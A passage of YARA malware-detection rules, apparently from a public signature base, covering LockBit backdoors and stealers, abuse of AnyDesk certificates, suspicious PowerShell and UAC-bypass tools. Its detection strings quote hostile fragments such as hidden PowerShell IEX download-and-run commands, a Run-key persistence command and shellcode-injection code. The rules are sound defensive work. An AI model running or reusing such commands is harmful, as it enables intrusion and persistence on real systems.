		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/stamparm/status/864865144748298242"
		date = "2017-05-18"
		hash1 = "589af04a85dc66ec6b94123142a17cf194decd61f5d79e76183db026010e0d31"
		id = "c38d3faa-06a2-5f57-a917-91974941352f"

	strings:
		$s1 = "WczTkaJphruMyBOQmGuNRtSNTLEs" fullword ascii
		$s2 = "svchost.taskhost.exe" fullword ascii
		$s3 = "ConfuserEx v" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 2 of them )
}

rule MAL_Backdoor_DLL_Nov23_1
{
	meta:
		author = "X__Junior"
		description = "Detects a backdoor DLL, that was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
		date = "2023-11-23"
		hash1 = "cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63"
		hash2 = "0eb66eebb9b4d671f759fb2e8b239e8a6ab193a732da8583e6e8721a2670a96d"
		score = 80
		id = "3588d437-b561-5380-8dac-73a31f4cdb5a"

	strings:
		$s1 = "ERROR GET INTERVAL" ascii
		$s2 = "OFF HIDDEN MODE" ascii
		$s3 = "commandMod:" ascii
		$s4 = "RESULT:" ascii
		$op1 = { C7 44 24 ?? 01 00 00 00 C7 84 24 ?? ?? ?? ?? FF FF FF FF 83 7C 24 ?? 00 74 ?? 83 BC 24 ?? ?? ?? ?? 00 74 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 00 04 00 00 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 }
		$op2 = { 48 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 03 00 00 00 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8D 0D ?? ?? ?? ?? 44 0F B7 05 ?? ?? ?? ?? 48 8B D0 48 8B 4C 24 ?? FF 15 }

	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or all of ( $op* ) )
}

rule MAL_Trojan_DLL_Nov23
{
	meta:
		author = "X__Junior"
		description = "Detects a trojan DLL that installs other components - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
		date = "2023-11-23"
		hash1 = "e557e1440e394537cca71ed3d61372106c3c70eb6ef9f07521768f23a0974068"
		score = 80
		id = "1dd87d0a-2b8b-5386-8fdd-40d184c731a4"

	strings:
		$op1 = { C7 84 24 ?? ?? ?? ?? 52 70 63 53 C7 84 24 ?? ?? ?? ?? 74 72 69 6E C7 84 24 ?? ?? ?? ?? 67 42 69 6E C7 84 24 ?? ?? ?? ?? 64 69 6E 67 C7 84 24 ?? ?? ?? ?? 43 6F 6D 70 C7 84 24 ?? ?? ?? ?? 6F 73 65 41 C7 84 24 ?? ?? ?? ?? 00 40 01 01 }
		$op2 = { C7 84 24 ?? ?? ?? ?? 6C 73 61 73 C7 84 24 ?? ?? ?? ?? 73 70 69 72 66 C7 84 24 ?? ?? 00 00 70 63 }
		$op3 = { C7 84 24 ?? ?? ?? ?? 4E 64 72 43 C7 84 24 ?? ?? ?? ?? 6C 69 65 6E C7 84 24 ?? ?? ?? ?? 74 43 61 6C C7 84 24 ?? ?? ?? ?? 6C 33 00 8D }

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule MAL_DLL_Stealer_Nov23
{
	meta:
		author = "X__Junior"
		description = "Detects a DLL that steals authentication credentials - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
		date = "2023-11-23"
		hash1 = "17a27b1759f10d1f6f1f51a11c0efea550e2075c2c394259af4d3f855bbcc994"
		score = 80
		id = "9cfed8ec-1d04-53d7-88ef-2576075cfc33"

	strings:
		$op1 = { C7 45 ?? 4D 69 6E 69 C7 45 ?? 44 75 6D 70 C7 45 ?? 57 72 69 74 C7 45 ?? 65 44 75 6D C7 45 ?? 70 00 27 00 C7 45 ?? 44 00 62 00 C7 45 ?? 67 00 68 00 C7 45 ?? 65 00 6C 00 C7 45 ?? 70 00 2E 00 C7 45 ?? 64 00 6C 00 C7 45 ?? 6C 00 00 00}

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule MAL_Python_Backdoor_Script_Nov23
{
	meta:
		author = "X__Junior"
		description = "Detects a trojan (written in Python) that communicates with c2 - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
		date = "2023-11-23"
		hash1 = "906602ea3c887af67bcb4531bbbb459d7c24a2efcb866bcb1e3b028a51f12ae6"
		score = 80
		id = "861f9ce3-3c54-5c56-b50b-2b7536783f6e"

	strings:
		$s1 = "port = 443 if \"https\"" ascii
		$s2 = "winrm.Session basic error" ascii
		$s3 = "Windwoscmd.run_cmd(str(cmd))" ascii

	condition:
		filesize < 50KB and all of them
}

rule APT_RANSOM_Lockbit_ForensicArtifacts_Nov23
{
	meta:
		description = "Detects patterns found in Lockbit TA attacks exploiting Citrixbleed vulnerability CVE 2023-4966"
		author = "Florian Roth"
		date = "2023-11-22"
		score = 75
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
		id = "04bde599-2a5b-5a33-a6f1-67d57a564946"

	strings:
		$x1 = "taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im w3sqlmgr.exe"
		$x2 = " 1> \\\\127.0.0.1\\admin$\\__"

	condition:
		1 of ( $x* )
}

rule VULN_PUA_GIGABYTE_Driver_Jul22_1
{
	meta:
		description = "Detects a vulnerable GIGABYTE driver sometimes used by malicious actors to escalate privileges"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/malmoeb/status/1551449425842786306"
		date = "2022-07-25"
		score = 65
		hash1 = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
		id = "c66b858f-a034-53e1-b0fd-e48693fc6913"

	strings:
		$xc1 = { 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73
               00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 32
               00 2E 00 33 00 37 00 39 00 30 00 2E 00 31 00 38
               00 33 00 30 00 20 00 62 00 75 00 69 00 6C 00 74
               00 20 00 62 00 79 00 3A 00 20 00 57 00 69 00 6E
               00 44 00 44 00 4B 00 00 00 00 00 32 00 09 00 01
               00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C
               00 4E 00 61 00 6D 00 65 00 00 00 67 00 64 00 72
               00 76 00 2E 00 73 00 79 00 73 }
		$x1 = "AEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAuADIALgAzADcAOQAwAC4AMQA4ADMAMAAgAGIAdQBpAGwAdAAgAGIAeQA6ACAAVwBpAG4ARABEAEsAAAAAADIACQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAZwBkAHIAdgAuAHMAeQBz"
		$x2 = "BGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADUALgAyAC4AMwA3ADkAMAAuADEAOAAzADAAIABiAHUAaQBsAHQAIABiAHkAOgAgAFcAaQBuAEQARABLAAAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAGcAZAByAHYALgBzAHkAc"
		$x3 = "ARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAA1AC4AMgAuADMANwA5ADAALgAxADgAMwAwACAAYgB1AGkAbAB0ACAAYgB5ADoAIABXAGkAbgBEAEQASwAAAAAAMgAJAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABnAGQAcgB2AC4AcwB5AH"

	condition:
		filesize < 4000KB and 1 of them
}

rule HKTL_Venom_LIB_Dec22
{
	meta:
		description = "Detects Venom - a library that meant to perform evasive communication using stolen browser socket"
		author = "Ido Veltzman, Florian Roth"
		reference = "https://github.com/Idov31/Venom"
		date = "2022-12-17"
		score = 75
		id = "b13b8a9c-52a4-53ac-817e-9f729fbf17c2"

	strings:
		$x1 = "[ + ] Created detached hidden msedge process: " fullword ascii
		$ss1 = "WS2_32.dll" fullword ascii
		$ss2 = "WSASocketW" fullword ascii
		$ss3 = "WSADuplicateSocketW" fullword ascii
		$ss5 = "\\Device\\Afd" wide fullword
		$sx1 = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --no-startup-window" fullword wide
		$sx2 = "[ + ] Data sent!" fullword ascii
		$sx3 = "[ + ] Socket obtained!" fullword ascii
		$op1 = { 4c 8b f0 48 3b c1 48 b8 ff ff ff ff ff ff ff 7f }
		$op2 = { 48 8b cf e8 1c 34 00 00 48 8b 5c 24 30 48 8b c7 }
		$op3 = { 48 8b da 48 8b f9 45 33 f6 48 85 c9 0f 84 34 01 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( ( 3 of ( $ss* ) and all of ( $op* ) ) or 2 of ( $sx* ) ) or $x1 or all of ( $sx* )
}

rule LNK_Malicious_Nov1
{
	meta:
		description = "Detects a suspicious LNK file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.virustotal.com/en/file/ee069edc46a18698fa99b6d2204895e6a516af1a306ea986a798b178f289ecd6/analysis/"
		date = "2017-11-06"
		score = 60
		id = "1d08ac78-6ff0-5e3f-acc2-91bd63267d4c"

	strings:
		$c1 = "C:\\Windows\\System32\\cmd.exe" ascii wide
		$s1 = "cmd.exe /" ascii wide nocase
		$s2 = { 00 25 00 53 00 79 00 73 00 74 00 65 00 6D 00 52
              00 6F 00 6F 00 74 00 25 00 5C 00 53 00 79 00 73
              00 74 00 65 00 6D 00 33 00 32 00 EF 01 2F 00 43
              00 20 00 22 00 63 00 6D 00 64 00 2E 00 65 00 78
              00 65 }
		$s3 = "%comspec%" ascii wide nocase fullword
		$fp1 = "Microsoft Visual" ascii wide

	condition:
		( uint32( 0 ) == 0x0000004c and filesize < 4KB and $c1 and 1 of ( $s* ) ) and not 1 of ( $fp* )
}

rule APT_MAL_DNS_Hijacking_Campaign_AA19_024A
{
	meta:
		description = "Detects malware used in DNS Hijackign campaign"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/AA19-024A"
		date = "2019-01-25"
		hash1 = "2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec"
		hash2 = "45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff"
		id = "6a476052-ba4e-5049-9c7a-f8949d26e7b5"

	strings:
		$s2 = "/Client/Login?id=" fullword ascii
		$s3 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" fullword ascii
		$s4 = ".\\Configure.txt" fullword ascii
		$s5 = "Content-Disposition: form-data; name=\"files\"; filename=\"" fullword ascii
		$s6 = "Content-Disposition: form-data; name=\"txts\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of them
}

import "pe"

rule PUA_AnyDesk_Compromised_Certificate_Revoked_Jan24
{
	meta:
		description = "Detects binaries signed with a compromised signing certificate of AnyDesk (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8) after it was revoked. This is not a threat detection. It detects an outdated version of AnyDesk that was signed with a certificate that has been revoked."
		date = "2024-02-05"
		author = "Florian Roth"
		reference = "https://anydesk.com/en/public-statement"
		score = 50

	condition:
		uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures [ i ] . serial == "0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8" )
}

import "pe"

rule SUSP_AnyDesk_Compromised_Certificate_Jan24_1
{
	meta:
		description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; strict version)"
		date = "2024-02-02"
		author = "Florian Roth"
		reference = "https://anydesk.com/en/public-statement"
		score = 75

	strings:
		$a1 = "AnyDesk Software GmbH" wide

	condition:
		uint16( 0 ) == 0x5a4d and not $a1 and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures [ i ] . serial == "0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8" )
}

rule SUSP_AnyDesk_Compromised_Certificate_Jan24_2
{
	meta:
		description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; permissive version)"
		date = "2024-02-02"
		author = "Florian Roth"
		reference = "https://anydesk.com/en/public-statement"
		score = 65

	strings:
		$sc1 = { 0D BF 15 2D EA F0 B9 81 A8 A9 38 D5 3F 76 9D B8 }
		$s2 = "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1"
		$f1 = "AnyDesk Software GmbH" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20000KB and all of ( $s* ) and not 1 of ( $f* )
}

import "pe"

rule SUSP_AnyDesk_Compromised_Certificate_Jan24_3
{
	meta:
		description = "Detects binaries signed with a compromised signing certificate of AnyDesk after it was revoked (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; version that uses dates for validation)"
		date = "2024-02-02"
		author = "Florian Roth"
		reference = "https://anydesk.com/en/public-statement"
		score = 75

	condition:
		uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures [ i ] . serial == "0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8" and ( pe.signatures [ i ] . not_before > 1706486400 or pe.timestamp > 1706486400 ) )
}

rule WordDoc_PowerShell_URLDownloadToFile
{
	meta:
		description = "Detects Word Document with PowerShell URLDownloadToFile"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/additional-insights-shamoon2/"
		date = "2017-02-23"
		super_rule = 1
		hash1 = "33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e"
		hash2 = "388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d"
		hash3 = "71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087"
		id = "f76c5f91-f67c-5754-b771-73383aba4d64"

	strings:
		$w1 = "Microsoft Forms 2.0 CommandButton" fullword ascii
		$w2 = "Microsoft Word 97-2003 Document" fullword ascii
		$p1 = "powershell.exe" fullword ascii
		$p2 = "URLDownloadToFile" fullword ascii

	condition:
		( uint16( 0 ) == 0xcfd0 and 1 of ( $w* ) and all of ( $p* ) )
}

rule Suspicious_PowerShell_Code_1 : FILE
{
	meta:
		description = "Detects suspicious PowerShell code"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		reference = "Internal Research"
		date = "2017-02-22"
		id = "ec3c3682-d2de-52b7-bb49-b021ddf7f8ac"

	strings:
		$s1 = /$[a-z]=new-object net.webclient/ ascii
		$s2 = /$[a-z].DownloadFile\("http:/ ascii
		$s3 = /IEX $[a-zA-Z]{1,8}.downloadstring\(["']http/ ascii nocase
		$s4 = "powershell.exe -w hidden -ep bypass -Enc" ascii
		$s5 = "-w hidden -noni -nop -c \"iex(New-Object" ascii
		$s6 = "powershell.exe reg add HKCU\\software\\microsoft\\windows\\currentversion\\run" nocase

	condition:
		1 of them
}

rule Suspicious_PowerShell_WebDownload_1 : HIGHVOL FILE
{
	meta:
		description = "Detects suspicious PowerShell code that downloads from web sites"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		reference = "Internal Research"
		date = "2017-02-22"
		modified = "2022-07-27"
		nodeepdive = 1
		id = "a763fb82-c840-531b-b631-f282bf035020"

	strings:
		$s1 = "System.Net.WebClient).DownloadString(\"http" ascii nocase
		$s2 = "System.Net.WebClient).DownloadString('http" ascii nocase
		$s3 = "system.net.webclient).downloadfile('http" ascii nocase
		$s4 = "system.net.webclient).downloadfile(\"http" ascii nocase
		$s5 = "GetString([Convert]::FromBase64String(" ascii nocase
		$fp1 = "NuGet.exe" ascii fullword
		$fp2 = "chocolatey.org" ascii
		$fp3 = " GET /"
		$fp4 = " POST /"
		$fp5 = ".DownloadFile('https://aka.ms/installazurecliwindows', 'AzureCLI.msi')" ascii
		$fp6 = " 404 "
		$fp7 = "# RemoteSSHConfigurationScript" ascii
		$fp8 = "<helpItems" ascii fullword
		$fp9 = "DownloadFile(\"https://codecov.io/bash" ascii

	condition:
		1 of ( $s* ) and not 1 of ( $fp* )
}

rule PowerShell_in_Word_Doc
{
	meta:
		description = "Detects a powershell and bypass keyword in a Word document"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - ME"
		date = "2017-06-27"
		score = 50
		hash1 = "4fd4a7b5ef5443e939015276fc4bf8ffa6cf682dd95845ef10fdf8158fdd8905"
		id = "c9d073ff-25c6-5751-92bf-e22ae7cfd5f5"

	strings:
		$s1 = "POwErSHELl.ExE" fullword ascii nocase
		$s2 = "BYPASS" fullword ascii nocase

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 1000KB and all of them )
}

rule Susp_PowerShell_Sep17_1
{
	meta:
		description = "Detects suspicious PowerShell script in combo with VBS or JS "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-09-30"
		score = 60
		hash1 = "8e28521749165d2d48bfa1eac685c985ac15fc9ca5df177d4efadf9089395c56"
		id = "6d4b9113-173f-5c12-b440-7f1cef9e6ebb"

	strings:
		$x1 = "Process.Create(\"powershell.exe -nop -w hidden" fullword ascii nocase
		$x2 = ".Run\"powershell.exe -nop -w hidden -c \"\"IEX " ascii
		$s1 = "window.resizeTo 0,0" fullword ascii

	condition:
		( filesize < 2KB and 1 of them )
}

rule Susp_PowerShell_Sep17_2
{
	meta:
		description = "Detects suspicious PowerShell script in combo with VBS or JS "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-09-30"
		hash1 = "e387f6c7a55b85e0675e3b91e41e5814f5d0ae740b92f26ddabda6d4f69a8ca8"
		id = "e44d1dfc-0858-5248-a57f-efb5c647f4cc"

	strings:
		$x1 = ".Run \"powershell.exe -nop -w hidden -e " ascii
		$x2 = "FileExists(path + \"\\..\\powershell.exe\")" fullword ascii
		$x3 = "window.moveTo -4000, -4000" fullword ascii
		$s1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii

	condition:
		filesize < 20KB and ( ( uint16( 0 ) == 0x733c and 1 of ( $x* ) ) or 2 of them )
}

rule WScript_Shell_PowerShell_Combo
{
	meta:
		description = "Detects malware from Middle Eastern campaign reported by Talos"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
		date = "2018-02-07"
		score = 50
		hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
		id = "265ec471-d9ed-5cb6-a32b-cfa62fccdf64"

	strings:
		$s1 = ".CreateObject(\"WScript.Shell\")" ascii
		$p1 = "powershell.exe" fullword ascii
		$p2 = "-ExecutionPolicy Bypass" fullword ascii
		$p3 = "[System.Convert]::FromBase64String(" ascii
		$fp1 = "Copyright: Microsoft Corp." ascii

	condition:
		filesize < 400KB and $s1 and 1 of ( $p* ) and not 1 of ( $fp* )
}

rule SUSP_PowerShell_String_K32_RemProcess
{
	meta:
		description = "Detects suspicious PowerShell code that uses Kernel32, RemoteProccess handles or shellcode"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nccgroup/redsnarf"
		date = "2018-03-31"
		hash3 = "54a8dd78ec4798cf034c7765d8b2adfada59ac34d019e77af36dcaed1db18912"
		hash4 = "6d52cdd74edea68d55c596554f47eefee1efc213c5820d86e64de0853a4e46b3"
		id = "ad646e19-b132-5594-bea2-d74e96c06ebb"

	strings:
		$x1 = "Throw \"Unable to allocate memory in the remote process for shellcode\"" fullword ascii
		$x2 = "$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke(\"kernel32.dll\")" fullword ascii
		$s3 = "$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants." ascii
		$s7 = "if ($RemoteProcHandle -eq [IntPtr]::Zero)" fullword ascii
		$s8 = "if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))" fullword ascii
		$s9 = "$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, " ascii
		$s15 = "$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null" fullword ascii

	condition:
		uint16( 0 ) == 0x7566 and filesize < 6000KB and 1 of them
}

rule PowerShell_JAB_B64
{
	meta:
		description = "Detects base464 encoded $ sign at the beginning of a string"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ItsReallyNick/status/980915287922040832"
		date = "2018-04-02"
		score = 60
		id = "c18fa17b-aaa5-5a89-bc25-3cc51b5af103"

	strings:
		$s1 = "('JAB" ascii wide
		$s2 = "powershell" nocase

	condition:
		filesize < 30KB and all of them
}

rule SUSP_PS1_FromBase64String_Content_Indicator : FILE
{
	meta:
		description = "Detects suspicious base64 encoded PowerShell expressions"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639"
		date = "2020-01-25"
		id = "326c83ff-5d21-508f-b935-03ccdab6efa7"

	strings:
		$ = "::FromBase64String(\"H4s" ascii wide
		$ = "::FromBase64String(\"TVq" ascii wide
		$ = "::FromBase64String(\"UEs" ascii wide
		$ = "::FromBase64String(\"JAB" ascii wide
		$ = "::FromBase64String(\"SUVY" ascii wide
		$ = "::FromBase64String(\"SQBFAF" ascii wide
		$ = "::FromBase64String(\"SQBuAH" ascii wide
		$ = "::FromBase64String(\"PAA" ascii wide
		$ = "::FromBase64String(\"cwBhA" ascii wide
		$ = "::FromBase64String(\"aWV4" ascii wide
		$ = "::FromBase64String(\"aQBlA" ascii wide
		$ = "::FromBase64String(\"R2V0" ascii wide
		$ = "::FromBase64String(\"dmFy" ascii wide
		$ = "::FromBase64String(\"dgBhA" ascii wide
		$ = "::FromBase64String(\"dXNpbm" ascii wide
		$ = "::FromBase64String(\"H4sIA" ascii wide
		$ = "::FromBase64String(\"Y21k" ascii wide
		$ = "::FromBase64String(\"Qzpc" ascii wide
		$ = "::FromBase64String(\"Yzpc" ascii wide
		$ = "::FromBase64String(\"IAB" ascii wide
		$ = "::FromBase64String('H4s" ascii wide
		$ = "::FromBase64String('TVq" ascii wide
		$ = "::FromBase64String('UEs" ascii wide
		$ = "::FromBase64String('JAB" ascii wide
		$ = "::FromBase64String('SUVY" ascii wide
		$ = "::FromBase64String('SQBFAF" ascii wide
		$ = "::FromBase64String('SQBuAH" ascii wide
		$ = "::FromBase64String('PAA" ascii wide
		$ = "::FromBase64String('cwBhA" ascii wide
		$ = "::FromBase64String('aWV4" ascii wide
		$ = "::FromBase64String('aQBlA" ascii wide
		$ = "::FromBase64String('R2V0" ascii wide
		$ = "::FromBase64String('dmFy" ascii wide
		$ = "::FromBase64String('dgBhA" ascii wide
		$ = "::FromBase64String('dXNpbm" ascii wide
		$ = "::FromBase64String('H4sIA" ascii wide
		$ = "::FromBase64String('Y21k" ascii wide
		$ = "::FromBase64String('Qzpc" ascii wide
		$ = "::FromBase64String('Yzpc" ascii wide
		$ = "::FromBase64String('IAB" ascii wide

	condition:
		filesize < 5000KB and 1 of them
}

rule Typical_Malware_String_Transforms
{
	meta:
		description = "Detects typical strings in a reversed or otherwise modified form"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-07-31"
		score = 60
		id = "86f348b5-0564-5d83-bbea-4f4a5f62fd30"

	strings:
		$e1 = "exe.tsohcvs" fullword ascii
		$e2 = "exe.ssasl" fullword ascii
		$e3 = "exe.rerolpxe" fullword ascii
		$e4 = "exe.erolpxei" fullword ascii
		$e5 = "exe.23lldnur" fullword ascii
		$e6 = "exe.dmc" fullword ascii
		$e7 = "exe.llikksat" fullword ascii
		$l1 = "lld.23lenreK" fullword ascii
		$l2 = "lld.ESABLENREK" fullword ascii
		$l3 = "lld.esabtpyrc" fullword ascii
		$l4 = "lld.trcvsm" fullword ascii
		$l5 = "LLD.LLDTN" fullword ascii
		$i1 = "paeHssecorPteG" fullword ascii
		$i2 = "sserddAcorPteG" fullword ascii
		$i3 = "AyrarbiLdaoL" fullword ascii
		$i4 = "AssecorPetaerC" fullword ascii
		$r1 = "teSlortnoCtnerruC" fullword ascii
		$r2 = "nuR\\noisreVtnerruC" fullword ascii
		$f1 = "\\23metsys\\" ascii
		$f2 = "\\23metsyS\\" ascii
		$f3 = "niB.elcyceR$" fullword ascii
		$f4 = "%tooRmetsyS%" fullword ascii
		$fp1 = "Application Impact Telemetry Static Analyzer" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and 1 of them and not 1 of ( $fp* ) )
}

rule Win7Elevatev2
{
	meta:
		description = "Detects Win7Elevate - Windows UAC bypass utility"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.pretentiousname.com/misc/W7E_Source/Win7Elevate_Inject.cpp.html"
		date = "2015-05-14"
		hash1 = "4f53ff6a04e46eda92b403faf42219a545c06c29"
		hash2 = "808d04c187a524db402c5b2be17ce799d2654bd1"
		score = 60
		id = "af092d16-ca95-5985-822a-50457c9cbcc9"

	strings:
		$x1 = "This program attempts to bypass Windows 7's default UAC settings to run " wide
		$x2 = "Win7ElevateV2\\x64\\Release\\" ascii
		$x3 = "Run the command normally (without code injection)" wide
		$x4 = "Inject file copy && elevate command" fullword wide
		$x5 = "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" fullword wide
		$x6 = "For injection, pick any unelevated Windows process with ASLR on:" fullword wide
		$s1 = "\\cmd.exe" wide
		$s2 = "runas" wide
		$s3 = "explorer.exe" wide
		$s4 = "Couldn't load kernel32.dll" wide
		$s5 = "CRYPTBASE.dll" wide
		$s6 = "shell32.dll" wide
		$s7 = "ShellExecuteEx" ascii
		$s8 = "COMCTL32.dll" ascii
		$s9 = "ShellExecuteEx" ascii
		$s10 = "HeapAlloc" ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or all of ( $s* ) )
}

rule UACME_Akagi
{
	meta:
		description = "Rule to detect UACMe - abusing built-in Windows AutoElevate backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/hfiref0x/UACME"
		date = "2015-05-14"
		hash1 = "edd2138bbd9e76c343051c6dc898054607f2040a"
		hash2 = "e3a919ccc2e759e618208ededa8a543954d49f8a"
		score = 60
		id = "7979129e-99a3-522a-8285-9061e1e2bd41"

	strings:
		$x1 = "UACMe injected, Fubuki at your service." wide fullword
		$x3 = "%temp%\\Hibiki.dll" fullword wide
		$x4 = "[UCM] Cannot write to the target process memory." fullword wide
		$s1 = "%systemroot%\\system32\\cmd.exe" wide
		$s2 = "D:(A;;GA;;;WD)" wide
		$s3 = "%systemroot%\\system32\\sysprep\\sysprep.exe" fullword wide
		$s4 = "/c wusa %ws /extract:%%windir%%\\system32" fullword wide
		$s5 = "Fubuki.dll" ascii fullword
		$l1 = "ntdll.dll" ascii
		$l2 = "Cabinet.dll" ascii
		$l3 = "GetProcessHeap" ascii
		$l4 = "WriteProcessMemory" ascii
		$l5 = "ShellExecuteEx" ascii

	condition:
		(1 of ( $x* ) ) or ( 3 of ( $s* ) and all of ( $l* ) )
}

rule UACElevator
{
	meta:
		description = "UACElevator bypassing UAC - file UACElevator.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/MalwareTech/UACElevator"
		date = "2015-05-14"
		hash = "fd29d5a72d7a85b7e9565ed92b4d7a3884defba6"
		id = "629b1a92-726d-5713-ae3d-74cc8a1e52ad"

	strings:
		$x1 = "\\UACElevator.pdb" ascii
